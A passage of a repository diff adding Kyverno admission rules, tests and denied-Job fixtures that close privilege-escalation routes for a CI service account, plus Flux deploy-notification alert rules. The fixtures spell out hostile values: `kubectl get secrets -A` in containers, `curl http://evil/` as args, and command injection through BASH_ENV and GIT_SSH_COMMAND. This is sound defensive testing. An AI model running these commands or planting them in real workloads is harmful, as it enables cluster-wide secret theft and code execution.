+    # itself validates against ^[0-9a-f]{40}$.
+    #
+    # `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
+    # element matches", which would admit the committed clone step PLUS an arbitrary second
+    # init container — the same class of hole rule 2's comment describes for volumes.
+    # =========================================================================================
+    - name: trigger-initcontainers-must-be-the-committed-clone-step
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
+          committed clone step: the digest-pinned conformance-runner image,
+          command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
+          escalation, not privileged. An initContainer running a shell with a caller-supplied
+          script is arbitrary code execution as the privileged conformance-runner SA — the
+          escalation the rest of this policy exists to prevent. See
+          conformance/incluster/conformance-clone.
+        foreach:
+          - list: "request.object.spec.template.spec.initContainers"
+            deny:
+              conditions:
+                any:
+                  # At most one. The committed run needs exactly one clone step; a second
+                  # init container has no legitimate purpose and is how you smuggle one in.
+                  - key: "{{ length(request.object.spec.template.spec.initContainers) }}"
+                    operator: GreaterThan
+                    value: 1
+                  # Digest-pinned under the conformance repository path — same rule as
+                  # containers[0], same honest limit (see IMAGE PINNING in the header).
+                  - key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
+                    operator: Equals
+                    value: false
+                  # The baked-in entrypoint, exactly — not a shell, not a second path.
+                  # `join` so this compares a STRING: Equals/NotEquals on arrays is not
+                  # dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
+                  - key: "{{ join(' ', not_null(element.command, `[]`)) }}"
+                    operator: NotEquals
+                    value: "/usr/local/bin/conformance-clone"
+                  # NO ARGS. This is the whole point: args on an init container are
+                  # caller-supplied code. Only env may be passed, and the entrypoint validates it.
+                  - key: "{{ length(not_null(element.args, `[]`)) }}"
+                    operator: GreaterThan
+                    value: 0
+                  # not_null(), NOT `||`: JMESPath treats `false` as falsy, so
+                  # `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
+                  # the COMPLIANT value false into true and deny every good Job.
+                  - key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
+                    operator: NotEquals
+                    value: true
+                  - key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
+                    operator: NotEquals
+                    value: false
+                  - key: "{{ not_null(element.securityContext.privileged, `false`) }}"
+                    operator: NotEquals
+                    value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
+    # container list on a PodSpec, and it was as unread as `initContainers` was.
+    #
+    # Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
+    # (the field is settable only through the `pods/ephemeralcontainers` subresource), which
+    # would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
+    # "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
+    # when the field is absent, and removes the need to be right about it. If the API server
+    # does reject it, nothing changes; if it does not, this is the same hole again.
+    # =========================================================================================
+    - name: trigger-may-not-declare-ephemeral-containers
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not declare ephemeralContainers. The committed
+          conformance run has no use for one, and an ephemeral container is a third container
+          list running as the privileged conformance-runner SA with an arbitrary command.
+        deny:
+          conditions:
+            all:
+              - key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
+    #
+    # The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
+    # to whatever adjacent field nobody enumerated. It was `initContainers`, then
+    # `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
+    # environment variable on either container.
+    #
+    # That is not hypothetical. Both programs the Job runs read their environment:
+    #   * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
+    #     CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
+    #     image (it dies on a mismatch rather than honouring a redirect — which is why the
+    #     specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
+    #     already closed there, in the image, not here);
+    #   * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
+    # And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
+    # `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
+    # Defence in depth belongs here too: the entrypoint's own validation should not be the only
+    # thing standing between a caller-chosen env var and the privileged SA.
+    #
+    # NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
+    # Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
+    # conformance-runner can already read Secrets in this namespace via its own RBAC, so
+    # pinning the source Secret would buy nothing. Names are the vector that matters, because a
+    # name is what a program keys its behaviour on.
+    # =========================================================================================
+    - name: trigger-env-names-must-be-the-committed-set
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may set only the committed environment variables. The runner
+          container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
+          init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
+          GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
+          pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
+          conformance-runner SA. Widening this list is a reviewed one-line change.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].env"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONF_ARTIFACTS
+                      - CONF_EMIT_ARTIFACTS_TGZ
+                      - TMPDIR
+                      - HOME
+          # Flattened across init containers: the rule above already caps them at one, but this
+          # must not silently stop checking if that cap is ever relaxed.
+          - list: "request.object.spec.template.spec.initContainers[].env[]"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONFORMANCE_GIT_SHA
+                      - CONFORMANCE_REPO_URL
+                      - CONFORMANCE_SRC
+                      - GITEA_USERNAME
+                      - GITEA_TOKEN
+                      - TMPDIR
+                      - HOME
+
+    - name: trigger-may-not-use-envfrom
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
+          as environment variables, whose KEYS are not visible in the Job at all — which would
+          make the env-name allowlist above unenforceable by inspection.
+        deny:
+          conditions:
+            any:
+              - key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+              - key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
+                operator: GreaterThan
+                value: 0

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -19,20 +19,48 @@ resources:
 userinfo: user-info.yaml
 results:
   # ---- the committed run is ADMITTED ----
+  # `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
+  # init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
+  # so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
+  # 2am against the live cluster. `good-run` remains the minimal shape.
   - policy: conformance-trigger-job-shape
     rule: trigger-may-create-only-the-committed-conformance-run
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-volumes-must-be-workspace-or-results
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-args-must-be-the-committed-flags
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
+    result: pass
+  # `real-template` is the only fixture WITH an init container, so it is the only one this
+  # rule reports on — a foreach over an absent list yields no result at all, which is why
+  # `good-run` is not listed here.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+  # Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [good-run, real-template]
     result: pass
 
   # ---- THE escalation: runner SA + arbitrary command ----
@@ -55,3 +83,38 @@ results:
     kind: Job
     resources: [injected-args]
     result: fail
+
+  # ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
+  # Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
+  # before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
+  # is the coordinator's independent reproduction; keeping it here is what stops the hole
+  # reopening.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
+    result: fail
+
+  # ---- and via the third container list nobody was reading ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [evil-ephemeral-container]
+    result: fail
+
+  # ---- and via `env`, the same mistake a third time ----
+  # `command` is pinned, so the injection moves to a variable the pinned command honours.
+  # BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
+  # execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
+  # rule — its container shape is perfect and only its env is hostile, which is exactly why the
+  # env rule has to exist separately.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [injected-env, injected-initcontainer-env]
+    result: fail
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [envfrom-whole-secret]
+    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -1,4 +1,76 @@
-# The committed shape — must be ADMITTED.
+# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
+# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
+# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
+# `results` are the only two volume names admission allows. Must be ADMITTED.
+#
+# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
+# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
+# securityContext, and the presence of the init container) in step with it.
+#
+# The init container carries NO args: its logic is baked into the runner image at
+# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
+# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
+# see `evil-initcontainer` below for the escalation it closes.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: real-template
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 65532
+        fsGroup: 65532
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            # BY SECRET NAME ONLY — and as env, not as a volume.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      containers:
+        - name: chainsaw
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          workingDir: /workspace/src/conformance
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The minimal committed shape — must be ADMITTED.
 apiVersion: batch/v1
 kind: Job
 metadata:
@@ -152,3 +224,241 @@ spec:
       volumes:
         - name: workspace
           emptyDir: {}
+---
+# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
+# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
+# INIT container running as the privileged conformance-runner SA. Before
+# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
+# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
+# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
+#
+# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
+# Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: sneak
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            privileged: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
+# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
+# command mean anything, so this must be DENIED even though image and command are correct.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: initcontainer-with-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          args: ["--exec", "curl http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
+# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
+# and caps the count. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: second-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+        - name: also-me
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
+# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
+# script runs. Everything else here is the committed shape. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: BASH_ENV
+              value: /workspace/src/conformance/_pwned
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
+# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: envfrom-whole-secret
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          envFrom:
+            - secretRef:
+                name: anything-in-this-namespace
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
+# is the thing that reads them. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-initcontainer-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            - name: GIT_SSH_COMMAND
+              value: "sh -c 'kubectl get secrets -A'"
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
+# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
+# this case may be unreachable in practice; the rule and this fixture exist because
+# "probably rejected upstream" is not a boundary. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-ephemeral-container
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      ephemeralContainers:
+        - name: debugger
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}

platform/monitoring/alerts.yaml

@@ -799,6 +799,123 @@ spec:
             summary: "Flux resource suspended: {{ $labels.kind }}/{{ $labels.name }}"
             description: "{{ $labels.kind }} {{ $labels.namespace }}/{{ $labels.name }} has been suspended for 1h — reconciliation/drift-correction is off."
             runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-suspended"
+        # ===================================================================================
+        # DEPLOY NOTIFICATIONS (added 2026-09-29). The only rules in this repo whose PURPOSE is to
+        # send mail on the HEALTHY path: the operator asked to be told when Flux starts applying a
+        # git change and when it finishes. Read the two together — they share one expression and
+        # differ only in `for` and severity.
+        #
+        # WHY A RULE AND NOT A FLUX Alert/Provider. Neither Flux event can be filtered into a
+        # deploy signal. Measured on prod 2026-09-29: a Kustomization emits ReconciliationSucceeded
+        # on EVERY interval tick (101 events in one hour across 16 Kustomizations) with the message
+        # "Reconciliation finished in 324ms, next run in 10m0s" — byte-identical whether the apply
+        # changed anything or not; and `Progressing` is worse, because five Kustomizations re-apply
+        # the same object on every tick (event counts 2505/2504/2501/2495/2490), so anything keyed
+        # on it mails five times every ten minutes forever. The applied REVISION is the only signal
+        # that moves when and only when git moves. See the kube_flux_* block in
+        # kube-prometheus-stack.yaml for how it reaches the TSDB.
+        #
+        # THE EXPRESSION. `unless on (revision)` keeps a Kustomization only while its applied
+        # revision is absent from the set of revisions the GitRepository has fetched — i.e. while it
+        # is behind main. It empties itself as each Kustomization catches up, which is what makes
+        # the RESOLVED notification mean "the rollout completed" rather than "the alert timed out".
+        # Alertmanager's email-deploy receiver carries send_resolved: true for exactly that reason,
+        # and group_by: [alertname] collapses all 16 Kustomizations into one mail per rollout.
+        #
+        # TWO GUARDS, BOTH LOAD-BEARING, BOTH UNIT-TESTED (tests/flux-rollout.test.yaml):
+        #   * `and on () (count(...) > 0)` — if kube_flux_gitrepository_info is ABSENT (KSM rolled
+        #     without the ConfigMap, the flux RBAC lost, customResourceState reverted) then
+        #     `unless on (revision) <empty>` removes NOTHING and all 16 Kustomizations alert
+        #     forever, for no reason. That is the permanently-firing failure mode this repo already
+        #     shipped once (CNPG, 2026-09-12). The guard makes the missing-exporter case SILENT,
+        #     which is the correct direction for a notification — a broken exporter is what
+        #     FluxReconciliationFailure and the platform-health.monitoring-self rules are for.
+        #   * `unless on (namespace, name) (kube_flux_kustomization_suspended == 1)` — a suspended
+        #     Kustomization pins an old revision BY DESIGN, and would otherwise hold a rollout open
+        #     for as long as it stays suspended, so the resolved mail (the "it finished" half of the
+        #     feature) would never arrive. FluxResourceSuspended above is what reports that state.
+        #
+        # `revision!=""` on both sides: KSM omits a label whose path is absent, so a Kustomization
+        # that has never applied anything — or a GitRepository with no artifact yet — publishes the
+        # series with no `revision` label. Without the matcher those group together under the empty
+        # string and compare EQUAL, i.e. a never-applied Kustomization would read as converged.
+        #
+        # A THIRD THING THAT MUST NOT REGRESS — THE SEVERITY LABEL. These alerts are delivered
+        # because of the labels they do NOT carry as much as the ones they do. Do not "tidy" this
+        # pair by giving FluxRolloutInProgress a `severity`, and never `severity: info`: the chart's
+        # InfoInhibitor rule plus its `severity="info"` inhibit_rule suppress an info alert whenever
+        # it is the only thing firing in its namespace, which is every healthy deploy. Measured on
+        # prod 2026-09-30 — the alert fired correctly for 12 Kustomizations, resolved correctly, and
+        # was inhibited in between. The full reasoning is on the `notification: deploy` label below.
+        # ===================================================================================
+        - alert: FluxRolloutInProgress
+          expr: |
+            (
+              (
+                kube_flux_kustomization_info{revision!=""}
+                unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
+              )
+              unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
+            )
+            and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
+          # NO `for:`, ON PURPOSE. Every other rule in this file waits, because every other rule
+          # reports a fault and a fault that clears in 30s is noise. This one reports an EVENT the
+          # operator asked to be told about, so the failure mode to avoid is the opposite: a `for:`
+          # of even 1m would silently swallow any rollout that converged faster than that (a manual
+          # `flux reconcile`, a change touching one Kustomization), and a deploy notification that
+          # only sometimes arrives is worse than no notification at all.
+          labels:
+            # ROUTED BY `notification`, AND DELIBERATELY CARRYING NO `severity` (fixed 2026-09-30).
+            # This alert originally used `severity: info`. That was WRONG, and wrong in the silent
+            # direction — measured on prod within minutes of the first real deploy.
+            # kube-prometheus-stack ships `general.rules` -> InfoInhibitor:
+            #     group by (namespace) (ALERTS{severity="info"} == 1)
+            #       unless on (namespace) group by (namespace)
+            #         (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+            # which fires for any namespace that has a firing info alert AND NOTHING ELSE WRONG in
+            # it; paired with the chart's inhibit_rule
+            #     source_matchers: [alertname="InfoInhibitor"]
+            #     target_matchers: [severity="info"]
+            #     equal: [namespace]
+            # the effect is that an info alert is suppressed EXACTLY WHEN it is the only thing
+            # happening in its namespace. For a deploy notification that is the only case that
+            # matters: on a healthy rollout of a healthy cluster, flux-system has no warning or
+            # critical alert, so InfoInhibitor fired and this alert never reached the receiver.
+            # Verified live: InfoInhibitor went active 2026-09-30T04:58:48Z, the same moment this
+            # alert began firing for 12 Kustomizations.
+            # Upstream's intent is explicit — `severity: info` means "only worth showing next to a
+            # real problem". A deploy notice is not that, so it must not claim that severity.
+            # `notification` is a label no inhibit_rule in the chart targets (all three match on
+            # severity values), and omitting `severity` also stops InfoInhibitor firing for
+            # flux-system at all. Route: platform/monitoring/kube-prometheus-stack.yaml matches
+            # `notification = "deploy"` -> the email-deploy receiver, subject "[FLUX] applying|applied".
+            notification: deploy
+          annotations:
+            summary: "Flux is applying a new revision — {{ $labels.name }} is behind main"
+            description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has applied {{ $labels.revision }}, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+            runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+        # The escalation: a rollout that STARTED and never finished. Same expression, so it cannot
+        # disagree with the notification above about what "behind main" means; 30m is comfortably
+        # past the slowest legitimate convergence (the longest Kustomization interval is 1h for
+        # cilium, but its dependents are 10m and a wave chain converges well inside 30m).
+        # severity: warning, so this one takes the normal email-warning path and reads as a fault.
+        - alert: FluxRolloutStuck
+          expr: |
+            (
+              (
+                kube_flux_kustomization_info{revision!=""}
+                unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
+              )
+              unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
+            )
+            and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
+          for: 30m
+          labels:
+            severity: warning
+          annotations:
+            summary: "Flux rollout has not completed: {{ $labels.name }} stuck on an old revision"
+            description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has been behind the flux-system GitRepository revision for 30m (applied {{ $labels.revision }}) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
+            runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
 
 # =====================================================================================
 # Certificates — cert-manager

platform/monitoring/kube-prometheus-stack.yaml

@@ -131,6 +131,44 @@ spec:
               # page-worthy — notify fast, remind often
               group_wait: 10s
               repeat_interval: 1h
+            # DEPLOY NOTICES, not health alerts (added 2026-09-29). FluxRolloutInProgress fires
+            # the moment the applied revision diverges from main and RESOLVES when every
+            # Kustomization has caught up — so the FIRED mail is "a deploy started" and the
+            # RESOLVED mail is "it finished". Both halves are the product, which is why
+            # send_resolved must stay true on the receiver below.
+            #
+            # A DEDICATED ROUTE, because the default receiver is `email-warning`: without it a
+            # routine deploy arrives subject-lined "[WARNING]" and becomes indistinguishable from a
+            # real platform fault, which is how alert mail stops being read at all.
+            #
+            # MATCHES `notification`, NOT `severity` (corrected 2026-09-30). This route first read
+            # `severity = "info"`, which routed correctly and then had the mail SUPPRESSED before it
+            # was sent: the chart's own InfoInhibitor rule fires for any namespace holding a firing
+            # info alert with no warning/critical beside it, and its inhibit_rule
+            # (source alertname="InfoInhibitor" -> target severity="info", equal [namespace]) drops
+            # exactly that alert. A healthy deploy in a healthy flux-system is precisely that case,
+            # so the notification was inhibited on every occasion it was wanted. Measured live on
+            # prod 2026-09-30: InfoInhibitor went active at 04:58:48Z as the alert began firing.
+            # Routing on a non-severity label sidesteps all three of the chart's inhibit_rules,
+            # which match on severity values only. See the label's own comment in alerts.yaml.
+            - matchers: ['notification = "deploy"']
+              receiver: email-deploy
+              # One mail per ROLLOUT, not per Kustomization: the alert fires once per lagging
